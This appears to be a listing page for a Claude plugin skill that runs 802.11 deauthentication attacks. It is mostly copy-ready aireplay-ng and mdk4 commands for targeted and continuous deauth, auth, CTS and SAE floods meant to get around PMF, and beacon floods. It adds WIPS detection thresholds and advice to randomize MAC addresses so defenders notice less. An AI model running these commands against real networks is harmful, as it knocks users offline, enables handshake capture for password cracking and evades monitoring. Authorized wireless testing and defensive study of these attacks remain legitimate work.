Stats
Actions
Tags
From cybersec-toolkit
Performs 802.11 deauthentication/disassociation attacks for handshake capture, targeted DoS, and PMF posture testing using aireplay-ng and mdk4.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-deauth-disassocThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
Used to force handshake capture, push client to evil twin, or test reconnection behavior.
sudo aireplay-ng --deauth 5 \
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 \ # client MAC
wlan0mon
--deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous
# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.
PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
| PMF Status | Deauth Effect |
|---|---|
| Off | Classic deauth works |
| Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients |
| Required | Classic deauth ignored — must use action-frame attacks |
PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:
# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.
Confuse clients (and WIPS) by flooding fake beacons:
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file
Use cases:
| Burst | Defender Signal |
|---|---|
| 3–10 deauth, single client | Often misclassified as roaming or RF noise |
| >30 deauth/sec from one source | WIPS rule trips |
| Continuous broadcast deauth | Clear DoS — alert + ticket within minutes |
| Beacon flood >50/sec | Saturates WIPS dashboards |
Randomize source MAC across burst-and-pause cycles to spread the signal.
# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>
# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
Document for each test:
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitWireless/802.11 attack methodology for red team engagements and security assessments. Covers handshake capture, PMKID, WPA3 downgrade, EAP attacks, evil twin, KRACK, and more.
Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng and hashcat for authorized wireless security assessments.
Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks for authorized wireless security assessments.